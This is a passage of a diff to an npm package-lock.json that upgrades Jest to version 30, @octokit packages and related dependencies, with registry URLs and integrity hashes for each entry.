"sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + } + } + }, + "@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true + }, + "@jest/console": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-30.0.2.tgz", + "integrity": "sha512-krGElPU0FipAqpVZ/BRZOy0MZh/ARdJ0Nj+PiH1ykFY1+VpBlYNLjdjVA5CFKxnKR6PFqFutO4Z7cdK9BlGiDA==", + "dev": true, + "requires": { + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "jest-message-util": "30.0.2", + "jest-util": "30.0.2", + "slash": "^3.0.0" + } + }, + "@jest/core": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-30.0.3.tgz", + "integrity": "sha512-Mgs1N+NSHD3Fusl7bOq1jyxv1JDAUwjy+0DhVR93Q6xcBP9/bAQ+oZhXb5TTnP5sQzAHgb7ROCKQ2SnovtxYtg==", + "dev": true, + "requires": { + "@jest/console": "30.0.2", + "@jest/pattern": "30.0.1", + "@jest/reporters": "30.0.2", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "ansi-escapes": "^4.3.2", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "exit-x": "^0.2.2", + "graceful-fs": "^4.2.11", + "jest-changed-files": "30.0.2", + "jest-config": "30.0.3", + "jest-haste-map": "30.0.2", + "jest-message-util": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-resolve": "30.0.2", + "jest-resolve-dependencies": "30.0.3", + "jest-runner": "30.0.3", + "jest-runtime": "30.0.3", + "jest-snapshot": "30.0.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "jest-watcher": "30.0.2", + "micromatch": "^4.0.8", + "pretty-format": "30.0.2", + "slash": "^3.0.0" + } + }, + "@jest/diff-sequences": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/diff-sequences/-/diff-sequences-30.0.1.tgz", + "integrity": "sha512-n5H8QLDJ47QqbCNn5SuFjCRDrOLEZ0h8vAHCK5RL9Ls7Xa8AQLa/YxAc9UjFqoEDM48muwtBGjtMY5cr0PLDCw==", + "dev": true + }, + "@jest/environment": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.0.2.tgz", + "integrity": "sha512-hRLhZRJNxBiOhxIKSq2UkrlhMt3/zVFQOAi5lvS8T9I03+kxsbflwHJEF+eXEYXCrRGRhHwECT7CDk6DyngsRA==", + "dev": true, + "requires": { + "@jest/fake-timers": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "jest-mock": "30.0.2" + } + }, + "@jest/expect": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-30.0.3.tgz", + "integrity": "sha512-73BVLqfCeWjYWPEQoYjiRZ4xuQRhQZU0WdgvbyXGRHItKQqg5e6mt2y1kVhzLSuZpmUnccZHbGynoaL7IcLU3A==", + "dev": true, + "requires": { + "expect": "30.0.3", + "jest-snapshot": "30.0.3" + } + }, + "@jest/expect-utils": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.0.3.tgz", + "integrity": "sha512-SMtBvf2sfX2agcT0dA9pXwcUrKvOSDqBY4e4iRfT+Hya33XzV35YVg+98YQFErVGA/VR1Gto5Y2+A6G9LSQ3Yg==", + "dev": true, + "requires": { + "@jest/get-type": "30.0.1" + } + }, + "@jest/fake-timers": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.0.2.tgz", + "integrity": "sha512-jfx0Xg7l0gmphTY9UKm5RtH12BlLYj/2Plj6wXjVW5Era4FZKfXeIvwC67WX+4q8UCFxYS20IgnMcFBcEU0DtA==", + "dev": true, + "requires": { + "@jest/types": "30.0.1", + "@sinonjs/fake-timers": "^13.0.0", + "@types/node": "*", + "jest-message-util": "30.0.2", + "jest-mock": "30.0.2", + "jest-util": "30.0.2" + } + }, + "@jest/get-type": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/get-type/-/get-type-30.0.1.tgz", + "integrity": "sha512-AyYdemXCptSRFirI5EPazNxyPwAL0jXt3zceFjaj8NFiKP9pOi0bfXonf6qkf82z2t3QWPeLCWWw4stPBzctLw==", + "dev": true + }, + "@jest/globals": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-30.0.3.tgz", + "integrity": "sha512-fIduqNyYpMeeSr5iEAiMn15KxCzvrmxl7X7VwLDRGj7t5CoHtbF+7K3EvKk32mOUIJ4kIvFRlaixClMH2h/Vaw==", + "dev": true, + "requires": { + "@jest/environment": "30.0.2", + "@jest/expect": "30.0.3", + "@jest/types": "30.0.1", + "jest-mock": "30.0.2" + } + }, + "@jest/pattern": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.0.1.tgz", + "integrity": "sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==", + "dev": true, + "requires": { + "@types/node": "*", + "jest-regex-util": "30.0.1" + } + }, + "@jest/reporters": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-30.0.2.tgz", + "integrity": "sha512-l4QzS/oKf57F8WtPZK+vvF4Io6ukplc6XgNFu4Hd/QxaLEO9f+8dSFzUua62Oe0HKlCUjKHpltKErAgDiMJKsA==", + "dev": true, + "requires": { + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "30.0.2", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@jridgewell/trace-mapping": "^0.3.25", + "@types/node": "*", + "chalk": "^4.1.2", + "collect-v8-coverage": "^1.0.2", + "exit-x": "^0.2.2", + "glob": "^10.3.10", + "graceful-fs": "^4.2.11", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^6.0.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^5.0.0", + "istanbul-reports": "^3.1.3", + "jest-message-util": "30.0.2", + "jest-util": "30.0.2", + "jest-worker": "30.0.2", + "slash": "^3.0.0", + "string-length": "^4.0.2", + "v8-to-istanbul": "^9.0.1" + }, + "dependencies": { + "@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + } + } + }, + "@jest/schemas": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.1.tgz", + "integrity": "sha512-+g/1TKjFuGrf1Hh0QPCv0gISwBxJ+MQSNXmG9zjHy7BmFhtoJ9fdNhWJp3qUKRi93AOZHXtdxZgJ1vAtz6z65w==", + "dev": true, + "requires": { + "@sinclair/typebox": "^0.34.0" + } + }, + "@jest/snapshot-utils": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/snapshot-utils/-/snapshot-utils-30.0.1.tgz", + "integrity": "sha512-6Dpv7vdtoRiISEFwYF8/c7LIvqXD7xDXtLPNzC2xqAfBznKip0MQM+rkseKwUPUpv2PJ7KW/YsnwWXrIL2xF+A==", + "dev": true, + "requires": { + "@jest/types": "30.0.1", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "natural-compare": "^1.4.0" + } + }, + "@jest/source-map": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-30.0.1.tgz", + "integrity": "sha512-MIRWMUUR3sdbP36oyNyhbThLHyJ2eEDClPCiHVbrYAe5g3CHRArIVpBw7cdSB5fr+ofSfIb2Tnsw8iEHL0PYQg==", + "dev": true, + "requires": { + "@jridgewell/trace-mapping": "^0.3.25", + "callsites": "^3.1.0", + "graceful-fs": "^4.2.11" + }, + "dependencies": { + "@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + } + } + }, + "@jest/test-result": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-30.0.2.tgz", + "integrity": "sha512-KKMuBKkkZYP/GfHMhI+cH2/P3+taMZS3qnqqiPC1UXZTJskkCS+YU/ILCtw5anw1+YsTulDHFpDo70mmCedW8w==", + "dev": true, + "requires": { + "@jest/console": "30.0.2", + "@jest/types": "30.0.1", + "@types/istanbul-lib-coverage": "^2.0.6", + "collect-v8-coverage": "^1.0.2" + } + }, + "@jest/test-sequencer": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-30.0.2.tgz", + "integrity": "sha512-fbyU5HPka0rkalZ3MXVvq0hwZY8dx3Y6SCqR64zRmh+xXlDeFl0IdL4l9e7vp4gxEXTYHbwLFA1D+WW5CucaSw==", + "dev": true, + "requires": { + "@jest/test-result": "30.0.2", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "slash": "^3.0.0" + } + }, + "@jest/transform": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-30.0.2.tgz", + "integrity": "sha512-kJIuhLMTxRF7sc0gPzPtCDib/V9KwW3I2U25b+lYCYMVqHHSrcZopS8J8H+znx9yixuFv+Iozl8raLt/4MoxrA==", + "dev": true, + "requires": { + "@babel/core": "^7.27.4", + "@jest/types": "30.0.1", + "@jridgewell/trace-mapping": "^0.3.25", + "babel-plugin-istanbul": "^7.0.0", + "chalk": "^4.1.2", + "convert-source-map": "^2.0.0", + "fast-json-stable-stringify": "^2.1.0", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-util": "30.0.2", + "micromatch": "^4.0.8", + "pirates": "^4.0.7", + "slash": "^3.0.0", + "write-file-atomic": "^5.0.1" + }, + "dependencies": { + "@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" } } } }, + "@jest/types": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.1.tgz", + "integrity": "sha512-HGwoYRVF0QSKJu1ZQX0o5ZrUrrhj0aOOFA8hXrumD7SIzjouevhawbTjmXdwOmURdGluU9DM/XvGm3NyFoiQjw==", + "dev": true, + "requires": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.1", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + } + }, "@jridgewell/gen-mapping": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz", - "integrity": "sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==", + "version": "0.3.12", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz", + "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==", "dev": true, "requires": { - "@jridgewell/set-array": "^1.2.1", - "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" }, "dependencies": { @@ -4007,12 +6939,6 @@ "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", "dev": true }, - "@jridgewell/set-array": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", - "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", - "dev": true - }, "@jridgewell/sourcemap-codec": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", @@ -4029,6 +6955,18 @@ "@jridgewell/sourcemap-codec": "^1.4.10" } }, + "@napi-rs/wasm-runtime": { + "version": "0.2.11", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-0.2.11.tgz", + "integrity": "sha512-9DPkXtvHydrcOsopiYpUgPHpmj0HWZKMUnL2dZqpvC42lsratuBG06V5ipyno0fUek5VlFsNQ+AcFATSrJXgMA==", + "dev": true, + "optional": true, + "requires": { + "@emnapi/core": "^1.4.3", + "@emnapi/runtime": "^1.4.3", + "@tybys/wasm-util": "^0.9.0" + } + }, "@nodelib/fs.scandir": { "version": "2.1.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", @@ -4053,114 +6991,106 @@ } }, "@octokit/auth-token": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-2.5.0.tgz", - "integrity": "sha512-r5FVUJCOLl19AxiuZD2VRZ/ORjp/4IN98Of6YJoJOkY75CIBuYfmiNHGrDwXr+aLGG55igl9QrxX3hbiXlLb+g==", - "requires": { - "@octokit/types": "^6.0.3" - } + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-6.0.0.tgz", + "integrity": "sha512-P4YJBPdPSpWTQ1NU4XYdvHvXJJDxM6YwpS0FZHRgP7YFkdVxsWcpWGy/NVqlAA7PcPCnMacXlRm1y2PFZRWL/w==" }, "@octokit/core": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/@octokit/core/-/core-3.6.0.tgz", - "integrity": "sha512-7RKRKuA4xTjMhY+eG3jthb3hlZCsOwg3rztWh75Xc+ShDWOfDDATWbeZpAHBNRpm4Tv9WgBMOy1zEJYXG6NJ7Q==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-7.0.2.tgz", + "integrity": "sha512-ODsoD39Lq6vR6aBgvjTnA3nZGliknKboc9Gtxr7E4WDNqY24MxANKcuDQSF0jzapvGb3KWOEDrKfve4HoWGK+g==", "requires": { - "@octokit/auth-token": "^2.4.4", - "@octokit/graphql": "^4.5.8", - "@octokit/request": "^5.6.3", - "@octokit/request-error": "^2.0.5", - "@octokit/types": "^6.0.3", - "before-after-hook": "^2.2.0", - "universal-user-agent": "^6.0.0" + "@octokit/auth-token": "^6.0.0", + "@octokit/graphql": "^9.0.1", + "@octokit/request": "^10.0.2", + "@octokit/request-error": "^7.0.0", + "@octokit/types": "^14.0.0", + "before-after-hook": "^4.0.0", + "universal-user-agent": "^7.0.0" } }, "@octokit/endpoint": { - "version": "6.0.12", - "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz", - "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==", + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-11.0.0.tgz", + "integrity": "sha512-hoYicJZaqISMAI3JfaDr1qMNi48OctWuOih1m80bkYow/ayPw6Jj52tqWJ6GEoFTk1gBqfanSoI1iY99Z5+ekQ==", "requires": { - "@octokit/types": "^6.0.3", - "is-plain-object": "^5.0.0", - "universal-user-agent": "^6.0.0" + "@octokit/types": "^14.0.0", + "universal-user-agent": "^7.0.2" } }, "@octokit/graphql": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-4.8.0.tgz", - "integrity": "sha512-0gv+qLSBLKF0z8TKaSKTsS39scVKF9dbMxJpj3U0vC7wjNWFuIpL/z76Qe2fiuCbDRcJSavkXsVtMS6/dtQQsg==", + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-9.0.1.tgz", + "integrity": "sha512-j1nQNU1ZxNFx2ZtKmL4sMrs4egy5h65OMDmSbVyuCzjOcwsHq6EaYjOTGXPQxgfiN8dJ4CriYHk6zF050WEULg==", "requires": { - "@octokit/request": "^5.6.0", - "@octokit/types": "^6.0.3", - "universal-user-agent": "^6.0.0" + "@octokit/request": "^10.0.2", + "@octokit/types": "^14.0.0", + "universal-user-agent": "^7.0.0" } }, "@octokit/openapi-types": { - "version": "11.2.0", - "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-11.2.0.tgz", - "integrity": "sha512-PBsVO+15KSlGmiI8QAzaqvsNlZlrDlyAJYcrXBCvVUxCp7VnXjkwPoFHgjEJXx3WF9BAwkA6nfCUA7i9sODzKA==" + "version": "25.1.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz", + "integrity": "sha512-idsIggNXUKkk0+BExUn1dQ92sfysJrje03Q0bv0e+KPLrvyqZF8MnBpFz8UNfYDwB3Ie7Z0TByjWfzxt7vseaA==" }, "@octokit/plugin-paginate-rest": { - "version": "2.17.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-2.17.0.tgz", - "integrity": "sha512-tzMbrbnam2Mt4AhuyCHvpRkS0oZ5MvwwcQPYGtMv4tUa5kkzG58SVB0fcsLulOZQeRnOgdkZWkRUiyBlh0Bkyw==", + "version": "13.1.1", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-13.1.1.tgz", + "integrity": "sha512-q9iQGlZlxAVNRN2jDNskJW/Cafy7/XE52wjZ5TTvyhyOD904Cvx//DNyoO3J/MXJ0ve3rPoNWKEg5iZrisQSuw==", "requires": { - "@octokit/types": "^6.34.0" + "@octokit/types": "^14.1.0" } }, "@octokit/plugin-request-log": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-1.0.4.tgz", - "integrity": "sha512-mLUsMkgP7K/cnFEw07kWqXGF5LKrOkD+lhCrKvPHXWDywAwuDUeDwWBpc69XK3pNX0uKiVt8g5z96PJ6z9xCFA==" + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-6.0.0.tgz", + "integrity": "sha512-UkOzeEN3W91/eBq9sPZNQ7sUBvYCqYbrrD8gTbBuGtHEuycE4/awMXcYvx6sVYo7LypPhmQwwpUe4Yyu4QZN5Q==" }, "@octokit/plugin-rest-endpoint-methods": { - "version": "5.13.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-5.13.0.tgz", - "integrity": "sha512-uJjMTkN1KaOIgNtUPMtIXDOjx6dGYysdIFhgA52x4xSadQCz3b/zJexvITDVpANnfKPW/+E0xkOvLntqMYpviA==", + "version": "16.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-16.0.0.tgz", + "integrity": "sha512-kJVUQk6/dx/gRNLWUnAWKFs1kVPn5O5CYZyssyEoNYaFedqZxsfYs7DwI3d67hGz4qOwaJ1dpm07hOAD1BXx6g==", "requires": { - "@octokit/types": "^6.34.0", - "deprecation": "^2.3.1" + "@octokit/types": "^14.1.0" } }, "@octokit/request": { - "version": "5.6.3", - "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz", - "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==", + "version": "10.0.3", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-10.0.3.tgz", + "integrity": "sha512-V6jhKokg35vk098iBqp2FBKunk3kMTXlmq+PtbV9Gl3TfskWlebSofU9uunVKhUN7xl+0+i5vt0TGTG8/p/7HA==", "requires": { - "@octokit/endpoint": "^6.0.1", - "@octokit/request-error": "^2.1.0", - "@octokit/types": "^6.16.1", - "is-plain-object": "^5.0.0", - "node-fetch": "^2.6.7", - "universal-user-agent": "^6.0.0" + "@octokit/endpoint": "^11.0.0", + "@octokit/request-error": "^7.0.0", + "@octokit/types": "^14.0.0", + "fast-content-type-parse": "^3.0.0", + "universal-user-agent": "^7.0.2" } }, "@octokit/request-error": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz", - "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-7.0.0.tgz", + "integrity": "sha512-KRA7VTGdVyJlh0cP5Tf94hTiYVVqmt2f3I6mnimmaVz4UG3gQV/k4mDJlJv3X67iX6rmN7gSHCF8ssqeMnmhZg==", "requires": { - "@octokit/types": "^6.0.3", - "deprecation": "^2.0.0", - "once": "^1.4.0" + "@octokit/types": "^14.0.0" } }, "@octokit/rest": { - "version": "18.12.0", - "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-18.12.0.tgz", - "integrity": "sha512-gDPiOHlyGavxr72y0guQEhLsemgVjwRePayJ+FcKc2SJqKUbxbkvf5kAZEWA/MKvsfYlQAMVzNJE3ezQcxMJ2Q==", + "version": "22.0.0", + "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-22.0.0.tgz", + "integrity": "sha512-z6tmTu9BTnw51jYGulxrlernpsQYXpui1RK21vmXn8yF5bp6iX16yfTtJYGK5Mh1qDkvDOmp2n8sRMcQmR8jiA==", "requires": { - "@octokit/core": "^3.5.1", - "@octokit/plugin-paginate-rest": "^2.16.8", - "@octokit/plugin-request-log": "^1.0.4", - "@octokit/plugin-rest-endpoint-methods": "^5.12.0" + "@octokit/core": "^7.0.2", + "@octokit/plugin-paginate-rest": "^13.0.1", + "@octokit/plugin-request-log": "^6.0.0", + "@octokit/plugin-rest-endpoint-methods": "^16.0.0" } }, "@octokit/types": { - "version": "6.34.0", - "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.34.0.tgz", - "integrity": "sha512-s1zLBjWhdEI2zwaoSgyOFoKSl109CUcVBCc7biPJ3aAf6LGLU6szDvi31JPU7bxfla2lqfhjbbg/5DdFNxOwHw==", + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-14.1.0.tgz", + "integrity": "sha512-1y6DgTy8Jomcpu33N+p5w58l6xyt55Ar2I91RPiIA0xCJBXyUAhXCcmZaDWSANiha7R9a6qJJ2CRomGPZ6f46g==", "requires": { - "@octokit/openapi-types": "^11.2.0" + "@octokit/openapi-types": "^25.1.0" } }, "@pkgjs/parseargs": { @@ -4170,6 +7100,36 @@ "dev": true, "optional": true }, + "@pkgr/core": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.2.7.tgz", + "integrity": "sha512-YLT9Zo3oNPJoBjBc4q8G2mjU4tqIbf5CEOORbUUr48dCD9q3umJ3IPlVqOqDakPfd2HuwccBaqlGhN4Gmr5OWg==", + "dev": true + }, + "@sinclair/typebox": { + "version": "0.34.37", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.37.tgz", + "integrity": "sha512-2TRuQVgQYfy+EzHRTIvkhv2ADEouJ2xNS/Vq+W5EuuewBdOrvATvljZTxHWZSTYr2sTjTHpGvucaGAt67S2akw==", + "dev": true + }, + "@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", + "dev": true, + "requires": { + "type-detect": "4.0.8" + } + }, + "@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", + "dev": true, + "requires": { + "@sinonjs/commons": "^3.0.1" + } + }, "@tsconfig/node10": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.9.tgz", @@ -4194,20 +7154,89 @@ "integrity": "sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==", "dev": true }, - "@types/chai": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.3.tgz", - "integrity": "sha512-hC7OMnszpxhZPduX+m+nrx+uFoLkWOMiR4oa/AZF3MuSETYTZmFfJAHqZEM8MVlvfG7BEUcgvtwoCTxBp6hm3g==", + "@tybys/wasm-util": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.9.0.tgz", + "integrity": "sha512-6+7nlbMVX/PVDCwaIQ8nTOPveOcFLSt8GcXdx8hD0bt39uWxYT88uXzqTd4fTvqta7oeUJqudepapKNt2DYJFw==", + "dev": true, + "optional": true, + "requires": { + "tslib": "^2.4.0" + } + }, + "@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "requires": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "requires": { + "@babel/types": "^7.0.0" + } + }, + "@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "requires": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "@types/babel__traverse": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.7.tgz", + "integrity": 